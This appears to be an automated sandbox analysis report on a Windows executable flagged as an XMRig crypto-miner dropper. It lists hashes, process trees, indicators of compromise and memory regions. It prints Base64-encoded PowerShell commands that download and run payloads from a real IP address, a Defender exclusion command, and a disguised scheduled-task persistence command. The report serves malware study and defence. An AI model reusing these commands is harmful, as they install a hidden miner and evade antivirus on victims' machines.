Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    04-01-2023 23:29

General

  • Target

    file.exe

  • Size

    35KB

  • MD5

    b74be466bb67f2a2d226100d57a929d4

  • SHA1

    8b494dd6d976ed75f48497321393a49aef2b1c69

  • SHA256

    4e47aacea0a261d290baf16b29636e778a5de66deff6e5bc3fbf04c88f77a05a

  • SHA512

    97707f79971e899309ccc8f1b59c76f75cf9958ba6054210631f2a6d2e2ee33d7fe420ea8d6fd1d58a9a3949ac7bfa696bc9ef24970e35704d459bfac385b62e

  • SSDEEP

    768:jKjudhnvbNBfg7jduMey4r/wOPpdwMNhghy0q9:jAuRbNNLO4kmTghy0w

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/go.png

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/me.png

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 60 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1160
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1456
      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1596
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
              6⤵
              • Creates scheduled task(s)
              PID:1776
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1552
            • C:\Windows\system32\schtasks.exe
              schtasks /run /tn "GoogleUpdateTaskMachineQC"
              6⤵
                PID:1892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1956
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {63BB9BE9-A1D1-4FD1-922D-BDFE18124414} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1564
      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:760
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1200
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe "cvxjxkjice"
            4⤵
              PID:268
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2032

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        7f377576e5df139f7791b915dfbecfb7

        SHA1

        aeac482442234e7d255ac54e5933db21732c3ff9

        SHA256

        82e83f37b8b95ae86ce5a862560a755fcbc29c0eb9131cb05925c552d8b857b7

        SHA512

        229dd349c92a5c8791ed0694fc28b2e598a14f0ea5dc30b9d189088c14defe674c80cc2cfb4ea3821fd9951e7ae632a78aec1bf3dc042472a018f9c092410a98

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        7f377576e5df139f7791b915dfbecfb7

        SHA1

        aeac482442234e7d255ac54e5933db21732c3ff9

        SHA256

        82e83f37b8b95ae86ce5a862560a755fcbc29c0eb9131cb05925c552d8b857b7

        SHA512

        229dd349c92a5c8791ed0694fc28b2e598a14f0ea5dc30b9d189088c14defe674c80cc2cfb4ea3821fd9951e7ae632a78aec1bf3dc042472a018f9c092410a98

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • memory/268-116-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/268-113-0x00000000001A0000-0x00000000001BA000-memory.dmp
        Filesize

        104KB

      • memory/268-112-0x0000000000000000-mapping.dmp
      • memory/268-110-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/268-114-0x0000000000210000-0x000000000021E000-memory.dmp
        Filesize

        56KB

      • memory/760-106-0x0000000000000000-mapping.dmp
      • memory/984-72-0x0000000002784000-0x0000000002787000-memory.dmp
        Filesize

        12KB

      • memory/984-70-0x000007FEF5890000-0x000007FEF63ED000-memory.dmp
        Filesize

        11.4MB

      • memory/984-86-0x000000000278B000-0x00000000027AA000-memory.dmp
        Filesize

        124KB

      • memory/984-67-0x000007FEF2460000-0x000007FEF2E83000-memory.dmp
        Filesize

        10.1MB

      • memory/984-82-0x0000000002784000-0x0000000002787000-memory.dmp
        Filesize

        12KB

      • memory/984-85-0x0000000002784000-0x0000000002787000-memory.dmp
        Filesize

        12KB

      • memory/984-59-0x0000000000000000-mapping.dmp
      • memory/984-79-0x000000001B750000-0x000000001BA4F000-memory.dmp
        Filesize

        3.0MB

      • memory/1116-92-0x0000000000000000-mapping.dmp
      • memory/1160-54-0x0000000000DC0000-0x0000000000DD0000-memory.dmp
        Filesize

        64KB

      • memory/1200-109-0x00000000006C0000-0x00000000006C6000-memory.dmp
        Filesize

        24KB

      • memory/1416-81-0x0000000002824000-0x0000000002827000-memory.dmp
        Filesize

        12KB

      • memory/1416-69-0x000007FEF5890000-0x000007FEF63ED000-memory.dmp
        Filesize

        11.4MB

      • memory/1416-55-0x0000000000000000-mapping.dmp
      • memory/1416-80-0x000000000282B000-0x000000000284A000-memory.dmp
        Filesize

        124KB

      • memory/1416-56-0x000007FEFBB21000-0x000007FEFBB23000-memory.dmp
        Filesize

        8KB

      • memory/1416-71-0x0000000002824000-0x0000000002827000-memory.dmp
        Filesize

        12KB

      • memory/1416-89-0x0000000002824000-0x0000000002827000-memory.dmp
        Filesize

        12KB

      • memory/1416-90-0x000000000282B000-0x000000000284A000-memory.dmp
        Filesize

        124KB

      • memory/1456-75-0x0000000002754000-0x0000000002757000-memory.dmp
        Filesize

        12KB

      • memory/1456-78-0x000000001B820000-0x000000001BB1F000-memory.dmp
        Filesize

        3.0MB

      • memory/1456-94-0x000000000275B000-0x000000000277A000-memory.dmp
        Filesize

        124KB

      • memory/1456-88-0x000000000275B000-0x000000000277A000-memory.dmp
        Filesize

        124KB

      • memory/1456-95-0x0000000002754000-0x0000000002757000-memory.dmp
        Filesize

        12KB

      • memory/1456-68-0x000007FEF2460000-0x000007FEF2E83000-memory.dmp
        Filesize

        10.1MB

      • memory/1456-57-0x0000000000000000-mapping.dmp
      • memory/1456-76-0x000007FEF5890000-0x000007FEF63ED000-memory.dmp
        Filesize

        11.4MB

      • memory/1456-84-0x0000000002754000-0x0000000002757000-memory.dmp
        Filesize

        12KB

      • memory/1524-96-0x000000001B910000-0x000000001BD6C000-memory.dmp
        Filesize

        4.4MB

      • memory/1524-98-0x000000001B4B0000-0x000000001B8E4000-memory.dmp
        Filesize

        4.2MB

      • memory/1524-97-0x00000000001A0000-0x00000000005FB000-memory.dmp
        Filesize

        4.4MB

      • memory/1552-102-0x0000000000000000-mapping.dmp
      • memory/1596-100-0x0000000000000000-mapping.dmp
      • memory/1776-103-0x0000000000000000-mapping.dmp
      • memory/1892-104-0x0000000000000000-mapping.dmp
      • memory/1956-77-0x000000001B7B0000-0x000000001BAAF000-memory.dmp
        Filesize

        3.0MB

      • memory/1956-87-0x000000000297B000-0x000000000299A000-memory.dmp
        Filesize

        124KB

      • memory/1956-108-0x000000000297B000-0x000000000299A000-memory.dmp
        Filesize

        124KB

      • memory/1956-83-0x0000000002974000-0x0000000002977000-memory.dmp
        Filesize

        12KB

      • memory/1956-73-0x000007FEF5890000-0x000007FEF63ED000-memory.dmp
        Filesize

        11.4MB

      • memory/1956-74-0x0000000002974000-0x0000000002977000-memory.dmp
        Filesize

        12KB

      • memory/1956-66-0x000007FEF2460000-0x000007FEF2E83000-memory.dmp
        Filesize

        10.1MB

      • memory/1956-58-0x0000000000000000-mapping.dmp
      • memory/1956-143-0x000000000297B000-0x000000000299A000-memory.dmp
        Filesize

        124KB

      • memory/1956-144-0x0000000002974000-0x0000000002977000-memory.dmp
        Filesize

        12KB

      • memory/2032-120-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-136-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-124-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-126-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-127-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-134-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-133-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-137-0x000000014036EAC4-mapping.dmp
      • memory/2032-139-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-122-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-132-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-130-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-128-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-140-0x0000000000070000-0x0000000000090000-memory.dmp
        Filesize

        128KB

      • memory/2032-141-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-142-0x0000000000000000-0x0000000001000000-memory.dmp
        Filesize

        16.0MB

      • memory/2032-118-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-117-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/2032-145-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB